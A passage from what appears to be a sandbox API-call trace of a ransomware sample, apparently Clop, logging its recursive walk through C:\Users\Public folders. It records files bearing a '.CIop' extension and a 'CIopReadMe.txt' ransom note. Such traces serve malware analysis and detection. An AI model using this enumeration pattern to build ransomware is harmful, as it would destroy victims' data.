lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0128.343] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.343] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.343] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0128.343] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0128.343] lstrlenW (lpString="desktop.ini") returned 11 [0128.343] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.343] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.343] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.343] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.343] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.344] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.344] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0128.344] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Documents\\*.*") returned="C:\\Users\\Public\\Documents\\*.*" [0128.344] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0128.344] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents") returned="Documents" [0128.344] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0128.344] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.345] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.345] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.345] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.345] lstrcmpW (lpString1="My Music", lpString2="..") returned 1 [0128.345] lstrcmpW (lpString1="My Music", lpString2=".") returned 1 [0128.345] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\Public\\Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0128.345] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0128.345] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\", lpString2="My Music" | out: lpString1="C:\\Users\\Public\\Documents\\My Music") returned="C:\\Users\\Public\\Documents\\My Music" [0128.345] SetErrorMode (uMode=0x1) returned 0x1 [0128.345] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Public\\Documents\\My Music" | out: lpString1="C:\\Users\\Public\\Documents\\My Music") returned="C:\\Users\\Public\\Documents\\My Music" [0128.345] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Music", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\My Music\\") returned="C:\\Users\\Public\\Documents\\My Music\\" [0128.345] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\Public\\Documents\\My Music\\" | out: lpString1="C:\\Users\\Public\\Documents\\My Music\\") returned="C:\\Users\\Public\\Documents\\My Music\\" [0128.345] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Music\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Documents\\My Music\\*.*") returned="C:\\Users\\Public\\Documents\\My Music\\*.*" [0128.345] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0128.345] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents\\My Music") returned="My Music" [0128.345] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0128.345] lstrlenW (lpString=".CIop") returned 5 [0128.345] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.345] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.345] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.345] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Public\\Documents\\My Music" | out: lpString1="C:\\Users\\Public\\Documents\\My Music") returned="C:\\Users\\Public\\Documents\\My Music" [0128.345] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Documents\\My Music\\*.*") returned="C:\\Users\\Public\\Documents\\My Music\\*.*" [0128.345] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0128.345] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents\\My Music") returned="My Music" [0128.345] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0128.345] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.345] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.345] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.345] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.345] lstrcmpW (lpString1="My Pictures", lpString2="..") returned 1 [0128.345] lstrcmpW (lpString1="My Pictures", lpString2=".") returned 1 [0128.345] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\Public\\Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0128.345] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0128.345] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\", lpString2="My Pictures" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures") returned="C:\\Users\\Public\\Documents\\My Pictures" [0128.346] SetErrorMode (uMode=0x1) returned 0x1 [0128.346] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Public\\Documents\\My Pictures" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures") returned="C:\\Users\\Public\\Documents\\My Pictures" [0128.346] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Pictures", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures\\") returned="C:\\Users\\Public\\Documents\\My Pictures\\" [0128.346] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\Public\\Documents\\My Pictures\\" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures\\") returned="C:\\Users\\Public\\Documents\\My Pictures\\" [0128.346] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures\\*.*") returned="C:\\Users\\Public\\Documents\\My Pictures\\*.*" [0128.346] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0128.346] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents\\My Pictures") returned="My Pictures" [0128.346] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0128.346] lstrlenW (lpString=".CIop") returned 5 [0128.346] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.346] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.346] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.346] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Public\\Documents\\My Pictures" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures") returned="C:\\Users\\Public\\Documents\\My Pictures" [0128.346] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures\\*.*") returned="C:\\Users\\Public\\Documents\\My Pictures\\*.*" [0128.346] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0128.346] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents\\My Pictures") returned="My Pictures" [0128.346] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0128.346] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.346] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.346] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.346] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.346] lstrcmpW (lpString1="My Videos", lpString2="..") returned 1 [0128.346] lstrcmpW (lpString1="My Videos", lpString2=".") returned 1 [0128.346] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\Public\\Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0128.346] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0128.346] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\", lpString2="My Videos" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos") returned="C:\\Users\\Public\\Documents\\My Videos" [0128.346] SetErrorMode (uMode=0x1) returned 0x1 [0128.346] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Public\\Documents\\My Videos" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos") returned="C:\\Users\\Public\\Documents\\My Videos" [0128.346] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Videos", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos\\") returned="C:\\Users\\Public\\Documents\\My Videos\\" [0128.346] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\Public\\Documents\\My Videos\\" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos\\") returned="C:\\Users\\Public\\Documents\\My Videos\\" [0128.346] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos\\*.*") returned="C:\\Users\\Public\\Documents\\My Videos\\*.*" [0128.346] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0128.346] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents\\My Videos") returned="My Videos" [0128.346] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0128.346] lstrlenW (lpString=".CIop") returned 5 [0128.346] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.346] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.347] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.347] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Public\\Documents\\My Videos" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos") returned="C:\\Users\\Public\\Documents\\My Videos" [0128.347] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos\\*.*") returned="C:\\Users\\Public\\Documents\\My Videos\\*.*" [0128.347] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0128.347] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents\\My Videos") returned="My Videos" [0128.347] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0128.347] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.347] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.347] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.347] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.347] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.347] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.347] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.347] lstrcmpW (lpString1="Downloads", lpString2="..") returned 1 [0128.347] lstrcmpW (lpString1="Downloads", lpString2=".") returned 1 [0128.347] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0128.348] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0128.348] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Downloads" | out: lpString1="C:\\Users\\Public\\Downloads") returned="C:\\Users\\Public\\Downloads" [0128.348] SetErrorMode (uMode=0x1) returned 0x1 [0128.348] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Downloads" | out: lpString1="C:\\Users\\Public\\Downloads") returned="C:\\Users\\Public\\Downloads" [0128.348] lstrcatW (in: lpString1="C:\\Users\\Public\\Downloads", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Downloads\\") returned="C:\\Users\\Public\\Downloads\\" [0128.348] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Downloads\\" | out: lpString1="C:\\Users\\Public\\Downloads\\") returned="C:\\Users\\Public\\Downloads\\" [0128.348] lstrcatW (in: lpString1="C:\\Users\\Public\\Downloads\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Downloads\\*.*") returned="C:\\Users\\Public\\Downloads\\*.*" [0128.348] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.348] PathFindFileNameW (pszPath="C:\\Users\\Public\\Downloads") returned="Downloads" [0128.348] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0128.348] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.348] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.348] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0128.348] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0128.348] lstrlenW (lpString="desktop.ini") returned 11 [0128.348] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.348] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.348] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.348] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Downloads" | out: lpString1="C:\\Users\\Public\\Downloads") returned="C:\\Users\\Public\\Downloads" [0128.348] lstrcatW (in: lpString1="C:\\Users\\Public\\Downloads", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Downloads\\*.*") returned="C:\\Users\\Public\\Downloads\\*.*" [0128.348] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.348] PathFindFileNameW (pszPath="C:\\Users\\Public\\Downloads") returned="Downloads" [0128.348] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0128.348] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.348] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.348] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.349] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.349] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.349] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.349] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.349] lstrcmpW (lpString1="Libraries", lpString2="..") returned 1 [0128.349] lstrcmpW (lpString1="Libraries", lpString2=".") returned 1 [0128.349] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0128.349] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0128.349] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Libraries" | out: lpString1="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries" [0128.349] SetErrorMode (uMode=0x1) returned 0x1 [0128.349] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Libraries" | out: lpString1="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries" [0128.349] lstrcatW (in: lpString1="C:\\Users\\Public\\Libraries", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Libraries\\") returned="C:\\Users\\Public\\Libraries\\" [0128.349] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Libraries\\" | out: lpString1="C:\\Users\\Public\\Libraries\\") returned="C:\\Users\\Public\\Libraries\\" [0128.349] lstrcatW (in: lpString1="C:\\Users\\Public\\Libraries\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Libraries\\*.*") returned="C:\\Users\\Public\\Libraries\\*.*" [0128.349] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Libraries\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.349] PathFindFileNameW (pszPath="C:\\Users\\Public\\Libraries") returned="Libraries" [0128.349] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Libraries" | out: lpString1="Libraries") returned="Libraries" [0128.349] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.349] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.349] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.349] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.349] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.349] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.349] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0128.349] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0128.349] lstrlenW (lpString="desktop.ini") returned 11 [0128.349] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.349] lstrcmpW (lpString1="RecordedTV.library-ms.CIop", lpString2="..") returned 1 [0128.349] lstrcmpW (lpString1="RecordedTV.library-ms.CIop", lpString2=".") returned 1 [0128.349] lstrlenW (lpString=".CIop") returned 5 [0128.349] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.349] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.350] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.350] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Libraries" | out: lpString1="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries" [0128.350] lstrcatW (in: lpString1="C:\\Users\\Public\\Libraries", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Libraries\\*.*") returned="C:\\Users\\Public\\Libraries\\*.*" [0128.350] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Libraries\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.350] PathFindFileNameW (pszPath="C:\\Users\\Public\\Libraries") returned="Libraries" [0128.350] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Libraries" | out: lpString1="Libraries") returned="Libraries" [0128.350] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.350] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.350] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.350] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.350] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.350] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.350] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.350] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.350] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.350] lstrcmpW (lpString1="Music", lpString2="..") returned 1 [0128.350] lstrcmpW (lpString1="Music", lpString2=".") returned 1 [0128.350] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0128.350] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0128.350] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Music" | out: lpString1="C:\\Users\\Public\\Music") returned="C:\\Users\\Public\\Music" [0128.350] SetErrorMode (uMode=0x1) returned 0x1 [0128.350] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Music" | out: lpString1="C:\\Users\\Public\\Music") returned="C:\\Users\\Public\\Music" [0128.350] lstrcatW (in: lpString1="C:\\Users\\Public\\Music", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Music\\") returned="C:\\Users\\Public\\Music\\" [0128.350] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Music\\" | out: lpString1="C:\\Users\\Public\\Music\\") returned="C:\\Users\\Public\\Music\\" [0128.350] lstrcatW (in: lpString1="C:\\Users\\Public\\Music\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Music\\*.*") returned="C:\\Users\\Public\\Music\\*.*" [0128.350] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.351] PathFindFileNameW (pszPath="C:\\Users\\Public\\Music") returned="Music" [0128.351] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Music" | out: lpString1="Music") returned="Music" [0128.351] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.351] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.351] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0128.351] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0128.351] lstrlenW (lpString="desktop.ini") returned 11 [0128.351] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.351] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.351] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.351] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Music" | out: lpString1="C:\\Users\\Public\\Music") returned="C:\\Users\\Public\\Music" [0128.351] lstrcatW (in: lpString1="C:\\Users\\Public\\Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Music\\*.*") returned="C:\\Users\\Public\\Music\\*.*" [0128.351] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.351] PathFindFileNameW (pszPath="C:\\Users\\Public\\Music") returned="Music" [0128.351] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Music" | out: lpString1="Music") returned="Music" [0128.351] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.351] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.351] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.351] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.351] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.351] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.351] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.351] lstrcmpW (lpString1="Pictures", lpString2="..") returned 1 [0128.352] lstrcmpW (lpString1="Pictures", lpString2=".") returned 1 [0128.352] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0128.352] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0128.352] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Pictures" | out: lpString1="C:\\Users\\Public\\Pictures") returned="C:\\Users\\Public\\Pictures" [0128.352] SetErrorMode (uMode=0x1) returned 0x1 [0128.352] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Pictures" | out: lpString1="C:\\Users\\Public\\Pictures") returned="C:\\Users\\Public\\Pictures" [0128.352] lstrcatW (in: lpString1="C:\\Users\\Public\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Pictures\\") returned="C:\\Users\\Public\\Pictures\\" [0128.352] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Pictures\\" | out: lpString1="C:\\Users\\Public\\Pictures\\") returned="C:\\Users\\Public\\Pictures\\" [0128.352] lstrcatW (in: lpString1="C:\\Users\\Public\\Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Pictures\\*.*") returned="C:\\Users\\Public\\Pictures\\*.*" [0128.352] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*.*", lpFindFileData=0x2dc97e8 | out: 